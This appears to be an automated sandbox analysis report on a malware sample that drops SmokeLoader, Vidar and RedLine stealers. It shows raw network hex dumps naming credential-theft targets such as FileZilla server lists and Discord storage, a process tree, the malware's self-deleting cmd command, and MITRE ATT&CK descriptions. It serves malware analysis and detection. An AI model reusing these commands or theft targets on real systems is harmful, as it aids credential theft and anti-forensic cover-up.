2021-12-28 04:19:48 UTC	4672	IN	Data Raw: 00 55 73 65 72 45 78 74 00 4d 6f 76 65 4e 65 78 74 00 53 79 73 74 65 6d 2e 54 65 78 74 00 63 69 70 68 65 72 54 65 78 74 00 67 65 74 5f 49 6e 6e 65 72 54 65 78 74 00 63 68 69 70 65 72 54 65 78 74 00 52 65 61 64 46 69 6c 65 41 73 54 65 78 74 00 63 62 4d 61 63 43 6f 6e 74 65 78 74 00 70 62 4d 61 63 43 6f 6e 74 65 78 74 00 52 65 61 64 4d 61 73 74 65 72 4f 66 43 6f 6e 74 65 78 74 00 4f 70 65 72 61 74 69 6f 6e 43 6f 6e 74 65 78 74 00 69 76 00 67 65 74 5f 4e 6f 77 00 73 65 74 5f 43 72 65 61 74 65 4e 6f 57 69 6e 64 6f 77 00 53 68 6f 77 00 6b 61 73 64 69 68 62 66 70 66 64 75 71 77 00 42 72 45 78 00 65 6e 64 49 64 78 00 73 74 61 72 74 49 64 78 00 6e 49 6e 64 65 78 00 73 74 61 72 74 49 6e 64 65 78 00 72 6f 77 49 6e 64 65 78 00 52 65 67 65 78 00 4d 65 73 73 61 67 65 Data Ascii: UserExtMoveNextSystem.TextcipherTextget_InnerTextchiperTextReadFileAsTextcbMacContextpbMacContextReadMasterOfContextOperationContextivget_Nowset_CreateNoWindowShowkasdihbfpfduqwBrExendIdxstartIdxnIndexstartIndexrowIndexRegexMessage
2021-12-28 04:19:48 UTC	4680	IN	Data Raw: 08 0e 03 07 01 0e 04 20 00 1d 03 03 20 00 08 08 00 03 1d 05 1d 03 08 08 07 07 04 0e 0e 1d 0e 08 09 20 02 1d 0e 1d 0e 11 81 81 12 10 01 02 15 12 80 a1 01 1e 00 15 12 80 a1 01 1e 00 08 03 0a 01 0e 0d 10 01 01 1d 1e 00 15 12 80 a1 01 1e 00 06 00 02 0e 0e 1d 0e 05 0a 01 12 81 08 05 07 02 08 1e 00 06 15 12 45 01 1e 00 07 15 12 49 02 1e 00 02 06 20 01 13 01 13 00 0b 07 03 15 12 2d 01 12 80 b8 0e 0e 06 00 01 0e 11 81 89 05 00 02 0e 0e 1c 0a 20 01 01 15 12 80 a1 01 13 00 12 07 05 15 12 2d 01 12 80 b8 12 51 12 55 12 80 b8 12 59 06 20 01 01 12 81 8d 05 20 00 12 81 91 05 20 00 12 81 95 05 20 01 12 5d 08 0b 07 04 12 80 b8 12 55 12 5d 12 59 06 00 03 0e 0e 0e 0e 05 00 00 12 81 99 05 20 01 0e 1d 05 19 07 07 15 12 2d 01 12 80 ac 15 12 35 01 0e 0e 15 11 39 01 0e 0e 0e 12 Data Ascii: EI - -QUY ]U]Y -59
2021-12-28 04:19:48 UTC	4688	IN	Data Raw: 00 72 00 6f 00 63 00 65 00 73 00 73 00 49 00 64 00 00 00 00 00 00 00 31 00 2a 00 2e 00 31 00 6c 00 31 00 64 00 31 00 62 00 00 00 00 00 00 00 50 00 72 00 6f 00 66 00 69 00 6c 00 65 00 5f 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 5f 00 76 00 61 00 6c 00 75 00 65 00 00 00 25 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 25 00 5c 00 00 00 00 00 6c 00 6f 00 67 00 69 00 6e 00 73 00 00 00 00 00 7b 00 30 00 7d 00 5c 00 46 00 69 00 6c 00 65 00 5a 00 69 00 6c 00 6c 00 61 00 5c 00 72 00 65 00 63 00 65 00 6e 00 74 00 73 00 65 00 72 00 76 00 65 00 72 00 73 00 2e 00 78 00 6d 00 6c 00 00 00 25 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 25 00 5c 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 5c 00 4c 00 6f 00 63 00 61 00 6c 00 20 00 53 00 74 00 6f 00 72 00 Data Ascii: rocessId1*.1l1d1bProfile_encrypted_value%appdata%\logins{0}\FileZilla\recentservers.xml%appdata%\discord\Local Stor
2021-12-28 04:19:48 UTC	4695	IN	Data Raw: 00 00 02 00 00 00 04 00 00 00 05 00 00 00 06 00 00 00 07 00 00 00 07 00 00 00 07 00 00 00 08 00 00 00 08 00 00 00 08 00 00 00 09 00 00 00 09 00 00 00 09 00 00 00 09 00 00 00 09 00 00 00 09 00 00 00 09 00 00 00 09 00 00 00 0a 00 00 00 15 00 00 00 1e 00 00 00 1e 00 00 00 1d 00 00 00 1d 00 00 00 1e 00 00 00 20 00 00 00 26 00 00 00 34 00 00 00 41 00 00 00 50 00 00 00 64 00 00 00 73 20 29 38 d9 2c 3a 4f fe 2c 39 4f fe 2c 39 4f fe 2c 39 4f fe 2c 39 4f fe 2c 39 4e fe 2c 39 4e fe 2c 39 4e fe 2c 39 4e fe 29 35 48 e7 02 03 04 29 00 00 00 0b 00 00 00 02 00 00 00 02 00 00 00 04 00 00 00 07 00 00 00 0a 00 00 00 0c 00 00 00 0e 00 00 00 10 00 00 00 11 00 00 00 12 00 00 00 13 00 00 00 14 00 00 00 14 00 00 00 14 00 00 00 15 00 00 00 15 00 00 00 15 00 00 00 15 00 00 00 15 Data Ascii: &4APds )8,:O,9O,9O,9O,9O,9N,9N,9N,9N)5H)
2021-12-28 04:19:48 UTC	4703	IN	Data Raw: a2 a6 8f 7b a2 a6 8f 7b a2 a6 8f 7b a2 a6 8f 7b a2 a6 8f 7b a2 a6 8f 7b a2 a6 8f 7b a2 a6 8f 7b a2 a6 8f 7b a2 a6 8f 7b a2 a6 83 7b a2 a6 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: {{{{{{{{{{{.

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: H4HU4rg1NM.exe PID: 6944 Parent PID: 5648

General

Start time:	05:17:55
Start date:	28/12/2021
Path:	C:\Users\user\Desktop\H4HU4rg1NM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\H4HU4rg1NM.exe"
Imagebase:	0x400000
File size:	339456 bytes
MD5 hash:	31646747FE74D32212A7CBCB97C7D78D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: H4HU4rg1NM.exe PID: 7052 Parent PID: 6944

General

Start time:	05:17:57
Start date:	28/12/2021
Path:	C:\Users\user\Desktop\H4HU4rg1NM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\H4HU4rg1NM.exe"
Imagebase:	0x400000
File size:	339456 bytes
MD5 hash:	31646747FE74D32212A7CBCB97C7D78D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.338228671.0000000002431000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.338186789.0000000002170000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: explorer.exe PID: 3352 Parent PID: 7052

General

Start time:	05:18:04
Start date:	28/12/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff720ea0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000D.00000000.322844951.0000000004DE1000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: iudbdfd PID: 5700 Parent PID: 664

General

Start time:	05:18:37
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Roaming\iudbdfd
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\iudbdfd
Imagebase:	0x400000
File size:	339456 bytes
MD5 hash:	31646747FE74D32212A7CBCB97C7D78D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Analysis Process: iudbdfd PID: 6964 Parent PID: 5700

General

Start time:	05:18:40
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Roaming\iudbdfd
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\iudbdfd
Imagebase:	0x400000
File size:	339456 bytes
MD5 hash:	31646747FE74D32212A7CBCB97C7D78D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000012.00000002.386977371.0000000000521000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000012.00000002.386920457.0000000000420000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: 325D.exe PID: 5776 Parent PID: 3352

General

Start time:	05:18:51
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\325D.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\325D.exe
Imagebase:	0x400000
File size:	339456 bytes
MD5 hash:	5E0ED8966761E70EE0B8DCD141AAFB4C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 20%, Metadefender, Browse Detection: 50%, ReversingLabs
Reputation:	low

Analysis Process: 325D.exe PID: 6556 Parent PID: 5776

General

Start time:	05:18:54
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\325D.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\325D.exe
Imagebase:	0x400000
File size:	339456 bytes
MD5 hash:	5E0ED8966761E70EE0B8DCD141AAFB4C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000017.00000002.415364379.0000000001F51000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000017.00000002.415203657.0000000000460000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: 4D1A.exe PID: 7112 Parent PID: 3352

General

Start time:	05:18:58
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\4D1A.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4D1A.exe
Imagebase:	0x400000
File size:	342528 bytes
MD5 hash:	BABD835D0FE9E63300B037A5AAAA4284
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 40%, ReversingLabs
Reputation:	low

Analysis Process: 110B.exe PID: 5764 Parent PID: 3352

General

Start time:	05:19:02
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\110B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\110B.exe
Imagebase:	0xf00000
File size:	537600 bytes
MD5 hash:	CCBCF301B4A4C51FC6AC6108E1A0A702
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001C.00000002.453201670.00000000043E1000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 60%, ReversingLabs
Reputation:	moderate

Analysis Process: 110B.exe PID: 5708 Parent PID: 5764

General

Start time:	05:19:11
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\110B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\110B.exe
Imagebase:	0x420000
File size:	537600 bytes
MD5 hash:	CCBCF301B4A4C51FC6AC6108E1A0A702
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000000.448610314.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000000.447644311.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000002.545178497.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000000.447017535.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000000.448094687.0000000000402000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Analysis Process: cmd.exe PID: 6956 Parent PID: 7112

General

Start time:	05:19:13
Start date:	28/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\4D1A.exe" & exit
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 5700 Parent PID: 6956

General

Start time:	05:19:13
Start date:	28/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: timeout.exe PID: 6908 Parent PID: 6956

General

Start time:	05:19:13
Start date:	28/12/2021
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 5
Imagebase:	0xee0000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: 7728.exe PID: 3676 Parent PID: 3352

General

Start time:	05:19:28
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\7728.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\7728.exe
Imagebase:	0x400000
File size:	844800 bytes
MD5 hash:	DBFAEC97A910463B8767B8CEB053CF3C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Analysis Process: 8CA5.exe PID: 5208 Parent PID: 3352

General

Start time:	05:19:34
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\8CA5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8CA5.exe
Imagebase:	0xf80000
File size:	2207616 bytes
MD5 hash:	765885E4A5BF2B58911C445E2BA0F7DF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: 9B5C.exe PID: 6476 Parent PID: 3352

General

Start time:	05:19:38
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\9B5C.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\9B5C.exe
Imagebase:	0x9e0000
File size:	538112 bytes
MD5 hash:	CF844515328AE2E2F1B4E9879401C7CA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET

Analysis Process: A87C.exe PID: 5108 Parent PID: 3352

General

Start time:	05:19:41
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\A87C.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\A87C.exe
Imagebase:	0x400000
File size:	3624448 bytes
MD5 hash:	E5BD8A53623522C49CCC35BC492B5A11
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000027.00000002.517417859.00000000000C2000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000027.00000003.516926123.0000000003722000.00000040.00000001.sdmp, Author: Joe Security

Analysis Process: 9B5C.exe PID: 6252 Parent PID: 6476

General

Start time:	05:19:48
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\9B5C.exe
Wow64 process (32bit):
Commandline:	C:\Users\user\AppData\Local\Temp\9B5C.exe
Imagebase:
File size:	538112 bytes
MD5 hash:	CF844515328AE2E2F1B4E9879401C7CA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.541684095.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.538447089.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000002.557976871.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.536505179.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.540001964.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Analysis Process: C26E.exe PID: 6500 Parent PID: 3352

General

Start time:	05:19:48
Start date:	28/12/2021
Path:	C:\Users\user\AppData\Local\Temp\C26E.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C26E.exe
Imagebase:	0xe40000
File size:	115712 bytes
MD5 hash:	1A8620AF98D68F9CADB5916341AD1E71
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000000.517465012.0000000000E42000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000000.515568258.0000000000E42000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000000.518196464.0000000000E42000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000000.516435766.0000000000E42000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000002.557976781.0000000000E42000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, Author: Joe Security

Analysis Process: AppLaunch.exe PID: 4400 Parent PID: 5108

General

Start time:	05:19:48
Start date:	28/12/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Imagebase:	0x10c0000
File size:	98912 bytes
MD5 hash:	6807F903AC06FF7E1670181378690B22
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000002A.00000002.558023799.0000000000402000.00000020.00000001.sdmp, Author: Joe Security

Analysis Process: cmd.exe PID: 7036 Parent PID: 5208

General

Start time:	05:19:52
Start date:	28/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\8CA5.exe" & exit
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Analysis Process: conhost.exe PID: 3548 Parent PID: 7036

General

Start time:	05:19:53
Start date:	28/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

